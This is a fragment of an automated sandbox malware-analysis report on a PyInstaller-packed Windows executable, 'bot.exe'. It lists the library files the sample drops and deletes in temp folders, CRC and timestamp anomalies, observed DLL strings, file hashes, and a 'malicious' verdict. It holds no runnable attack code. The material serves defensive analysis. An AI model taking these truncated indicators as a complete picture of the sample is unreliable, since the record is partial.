[%TEMP%\_MEI0000052c2\api-ms-win-core-synch-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-processenvironment-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-processenvironment-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-file-l2-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-file-l2-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-rtlsupport-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-rtlsupport-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-utility-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-utility-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-debug-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-debug-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-util-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-util-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-handle-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-handle-l1-1-0.dll]- [targetUID: 00000000-00001324] "_rust.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\cryptography\hazmat\bindings\_rust.pyd]- [targetUID: 00000000-00001324] "cv2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 10 sections"- Location: [%TEMP%\_MEI0000052c2\cv2\cv2.pyd]- [targetUID: 00000000-00001324] "_avif.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_avif.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_multiarray_umath.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\_core\_multiarray_umath.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_imaging.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_imaging.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_generator.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_generator.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "mtrand.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\mtrand.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_zstd.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_zstd.pyd]- [targetUID: 00000000-00001324] "_webp.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_webp.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_decimal.pyd]- [targetUID: 00000000-00001324] "_pocketfft_umath.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\fft\_pocketfft_umath.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_imagingcms.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_imagingcms.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_bounded_integers.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_bounded_integers.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "md.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\charset_normalizer\md.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\pyexpat.pyd]- [targetUID: 00000000-00001324] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_ssl.pyd]- [targetUID: 00000000-00001324] "_cffi_backend.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_cffi_backend.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_common.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_common.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "bit_generator.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\bit_generator.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_lzma.pyd]- [targetUID: 00000000-00001324] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_ctypes.pyd]- [targetUID: 00000000-00001324] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_elementtree.pyd]- [targetUID: 00000000-00001324] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sqlite3.pyd]- [targetUID: 00000000-00001324] "cd.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\charset_normalizer\cd.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_umath_linalg.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\linalg\_umath_linalg.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_pcg64.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_pcg64.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_mt19937.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_mt19937.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_philox.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_philox.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_socket.pyd]- [targetUID: 00000000-00001324] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_bz2.pyd]- [targetUID: 00000000-00001324] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_asyncio.pyd]- [targetUID: 00000000-00001324] "_psutil_windows.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\psutil\_psutil_windows.pyd]- [targetUID: 00000000-00001324] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_hashlib.pyd]- [targetUID: 00000000-00001324] "_multiarray_tests.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\_core\_multiarray_tests.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_sfc64.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- Location: [%TEMP%\_MEI0000052c2\numpy\random\_sfc64.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_overlapped.pyd]- [targetUID: 00000000-00001324] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_wmi.pyd]- [targetUID: 00000000-00001324] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_multiprocessing.pyd]- [targetUID: 00000000-00001324] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_queue.pyd]- [targetUID: 00000000-00001324] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\_uuid.pyd]- [targetUID: 00000000-00001324] "_imagingtk.cp314-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\PIL\_imagingtk.cp314-win_amd64.pyd]- [targetUID: 00000000-00001324] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\_MEI0000052c2\cv2\mat_wrapper\__init__.py]- [targetUID: 00000000-00001324] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\_MEI0000052c2\cv2\utils\__init__.py]- [targetUID: 00000000-00001324] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\_MEI0000052c2\cv2\misc\__init__.py]- [targetUID: 00000000-00001324]6c:Tc58,"bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-console-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-datetime-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-debug-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-errorhandling-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-fibers-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-fibers-l1-1-1.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-file-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-file-l1-2-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-file-l2-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-handle-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-heap-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-interlocked-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-kernel32-legacy-l1-1-1.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-libraryloader-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-localization-l1-2-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-memory-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-namedpipe-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-processenvironment-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-processthreads-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-processthreads-l1-1-1.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-profile-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-rtlsupport-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-string-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-synch-l1-1-0.dll" with delete access "bot.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-synch-l1-2-0.dll" with delete access6d:T4c1,"libssl-3.dll" claimed CRC 81059276 while the actual is CRC 1316930 "python314.dll" claimed CRC 1316930 while the actual is CRC 1140426 "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" claimed CRC 6872289 while the actual is CRC 601162 "libportaudio64bit-asio.dll" claimed CRC 601162 while the actual is CRC 374773 "api-ms-win-crt-private-l1-1-0.dll" claimed CRC 238695 while the actual is CRC 85007 "python3.dll" claimed CRC 85007 while the actual is CRC 101683 "VCRUNTIME140_1.dll" claimed CRC 101683 while the actual is CRC 79179 "api-ms-win-crt-math-l1-1-0.dll" claimed CRC 79179 while the actual is CRC 39092 "api-ms-win-crt-string-l1-1-0.dll" claimed CRC 39092 while the actual is CRC 70355 "api-ms-win-crt-stdio-l1-1-0.dll" claimed CRC 70355 while the actual is CRC 70429 "api-ms-win-crt-runtime-l1-1-0.dll" claimed CRC 70429 while the actual is CRC 66313 "api-ms-win-core-file-l1-1-0.dll" claimed CRC 66313 while the actual is CRC 88268 "api-ms-win-crt-convert-l1-1-0.dll" claimed CRC 88268 while the actual is CRC 62509 "api-ms-win-crt-process-l1-1-0.dll" claimed CRC 62509 while the actual is CRC 44348 "api-ms-win-core-processthreads-l1-1-0.dll" claimed CRC 44348 while the actual is CRC 467796e:T46f,"msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" claims program is from Mon Aug 17 15:25:23 2065 "libportaudio64bit-asio.dll" claims program is from Thu Oct 18 02:51:12 1990 "libportaudioarm64-asio.dll" claims program is from Wed Oct 6 09:22:37 2055 "libportaudio32bit-asio.dll" claims program is from Fri Mar 9 01:45:27 1979 "libportaudio32bit.dll" claims program is from Sat Dec 30 18:09:08 2034 "VCRUNTIME140.dll" claims program is from Sun Nov 12 10:33:24 2073 "api-ms-win-crt-private-l1-1-0.dll" claims program is from Wed Aug 6 05:51:39 2036 "VCRUNTIME140_1.dll" claims program is from Tue Dec 24 07:50:00 2086 "api-ms-win-crt-math-l1-1-0.dll" claims program is from Sun Oct 19 23:51:07 2070 "api-ms-win-crt-string-l1-1-0.dll" claims program is from Sat May 18 16:36:08 2080 "api-ms-win-crt-stdio-l1-1-0.dll" claims program is from Mon Feb 5 00:23:05 2103 "api-ms-win-core-file-l1-1-0.dll" claims program is from Thu Sep 23 16:29:24 2032 "api-ms-win-crt-convert-l1-1-0.dll" claims program is from Mon Sep 1 13:52:40 2042 "api-ms-win-core-processthreads-l1-1-0.dll" claims program is from Tue Jan 23 01:17:01 20856f:Tc76,Observed system executable string:"C:\Windows\system32\kernel32.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\KERNELBASE.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\USER32.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"\Windows\system32\GDI32.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\LPK.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\USP10.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\msvcrt.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\ADVAPI32.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\RPCRT4.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:":\Windows\system32\IMM32.DLL" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\MSCTF.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:":\Windows\system32\tzres.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\WS2_32.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-core-file-l2-1-0.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-core-synch-l1-2-0.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\VCRUNTIME140.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-crt-string-l1-1-0.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-crt-locale-l1-1-0.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-crt-time-l1-1-0.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"C:\Windows\Temp\VxSSL64.dll" [Source: 00000000-00003448.00000000.345392.000C0000.00000004.mdmp] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003448-00000C2B-3710026773] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00003156-00000C2B-3716101700]70:Tbc2,"bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-console-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-datetime-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-debug-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-errorhandling-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-fibers-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-fibers-l1-1-1.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-file-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-file-l1-2-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-file-l2-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-handle-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-heap-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-interlocked-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-kernel32-legacy-l1-1-1.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-libraryloader-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-localization-l1-2-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-memory-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-namedpipe-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-processenvironment-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-processthreads-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-processthreads-l1-1-1.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-profile-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-rtlsupport-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-string-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-synch-l1-1-0.dll" for deletion "bot.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI00000d782\api-ms-win-core-synch-l1-2-0.dll" for deletion71:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAZmZniId3dwAAAAAAAAAARmZmaIiIiIiIiIh2ZERAAEZmZmiIiIiIiIiId3d3ZABGZmZoiIiIiIiIiHd3d3YARmZmeIiIiIiIiIh3d3d0AGZmZniIiIiIiIiId3d3dABmZmZ4iIiIiIiIiHd3d3QAZmZmeIiIiIiIiIh3d3dkAGZmZniIiIiIiIiId3d3YABmZmZ3d3d4iIiIiHd3d2AAZnd3d3d3d3d3d3d3d3dgBGeIi7d4iId3d3d3d3d3YARnu7u7u4////iIiId3d2AEe7u7u7u4/////////4dgBHu7u7u7uP////////+HYAY7u7u7u7j/////////hkAGO7u7u7u4/////////3ZABju7u7u7uP////////92QAY7u7u7u7iIiP//////dgAGO7u7u7u7u7v//////2YABju7u7u7uzO7//////hmAAY7u7u7u7sAO//////4ZgBGO7u7u7u7M7v/////+GYARzu7u7u7u7u4//////hmAEc7u7u7u7u7j//////4ZgBnO7u7u7iI////////+GQAZzu7u7u4//////////dkAEY7u7u7uP/////////3ZAAAO7u7u7eIj///////9mAAADu7u7szAERGd3iIj/ZgAAADM7szMAAAAAAAAEREQADgAAAH4AAAB8AAAAHAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAABwAAAAcAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAA4AAAAOAAAADgAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAAA8AAAAfADAAH4B//Bw==72:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAZmZniId3dwAAAAAAAAAARmZmaIiIiIiIiIh2ZERAAEZmZmiIiIiIiIiId3d3ZABGZmZoiIiIiIiIiHd3d3YARmZmeIiIiIiIiIh3d3d0AGZmZniIiIiIiIiId3d3dABmZmZ4iIiIiIiIiHd3d3QAZmZmeIiIiIiIiIh3d3dkAGZmZniIiIiIiIiId3d3YABmZmZ3d3d4iIiIiHd3d2AAZnd3d3d3d3d3d3d3d3dgBGeIi7d4iId3d3d3d3d3YARnu7u7u4////iIiId3d2AEe7u7u7u4/////////4dgBHu7u7u7uP////////+HYAY7u7u7u7j/////////hkAGO7u7u7u4/////////3ZABju7u7u7uP////////92QAY7u7u7u7iIiP//////dgAGO7u7u7u7u7v//////2YABju7u7u7uzO7//////hmAAY7u7u7u7sAO//////4ZgBGO7u7u7u7M7v/////+GYARzu7u7u7u7u4//////hmAEc7u7u7u7u7j//////4ZgBnO7u7u7iI////////+GQAZzu7u7u4//////////dkAEY7u7u7uP/////////3ZAAAO7u7u7eIj///////9mAAADu7u7szAERGd3iIj/ZgAAADM7szMAAAAAAAAEREQADgAAAH4AAAB8AAAAHAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAABwAAAAcAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAA4AAAAOAAAADgAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAAA8AAAAfADAAH4B//Bw==30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1794360001533,"unified_at":"2026-11-11T01:20:01.533Z","metadata":{"hashes":{"sha256":"d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","sha1":"f6e8f05f4d9bbfee75c8cb19a53d1557a19e37b4","md5":"4830853d3919f10cff9615e6ea1f2381","sha512":"3dd4ba9c6bfe18a5c8a37cef5cb1a853c49b4ecc3f2a5fa771b80f4134282cc5bc300d30616144b0f3295da10f2279571d988b0e0785b9034f0cb058e147626d","ssdeep":"1572864:+3HLYNwnu7lyD+YEUZl7XNyjhQR5QMJJ8R/E0/utd0xyPOLrfP6Lp0pcP:ys6lEQlLgaR55oR/E0/kd0xxfP4pk","ssdeep_chunks":["1572864:+3HLYNw","1572864:3HLYNwn","1572864:HLYNwnu","1572864:LYNwnu7","1572864:YNwnu7l","1572864:Nwnu7ly","1572864:wnu7lyD","1572864:nu7lyD+","1572864:u7lyD+Y","1572864:7lyD+YE","1572864:lyD+YEU","1572864:yD+YEUZ","1572864:D+YEUZl","1572864:+YEUZl7","1572864:YEUZl7X","1572864:EUZl7XN","1572864:UZl7XNy","1572864:Zl7XNyj","1572864:l7XNyjh","1572864:7XNyjhQ","1572864:XNyjhQR","1572864:NyjhQR5","1572864:yjhQR5Q","1572864:jhQR5QM","1572864:hQR5QMJ","1572864:QR5QMJJ","1572864:R5QMJJ8","1572864:5QMJJ8R","1572864:QMJJ8R/","1572864:MJJ8R/E","1572864:JJ8R/E0","1572864:J8R/E0/","1572864:8R/E0/u","1572864:R/E0/ut","1572864:/E0/utd","1572864:E0/utd0","1572864:0/utd0x","1572864:/utd0xy","1572864:utd0xyP","1572864:td0xyPO","1572864:d0xyPOL","1572864:0xyPOLr","1572864:xyPOLrf","1572864:yPOLrfP","1572864:POLrfP6","1572864:OLrfP6L","1572864:LrfP6Lp","1572864:rfP6Lp0","1572864:fP6Lp0p","1572864:P6Lp0pc","1572864:6Lp0pcP","3145728:+3HLYNw","3145728:3HLYNwn","3145728:HLYNwnu","3145728:LYNwnu7","3145728:YNwnu7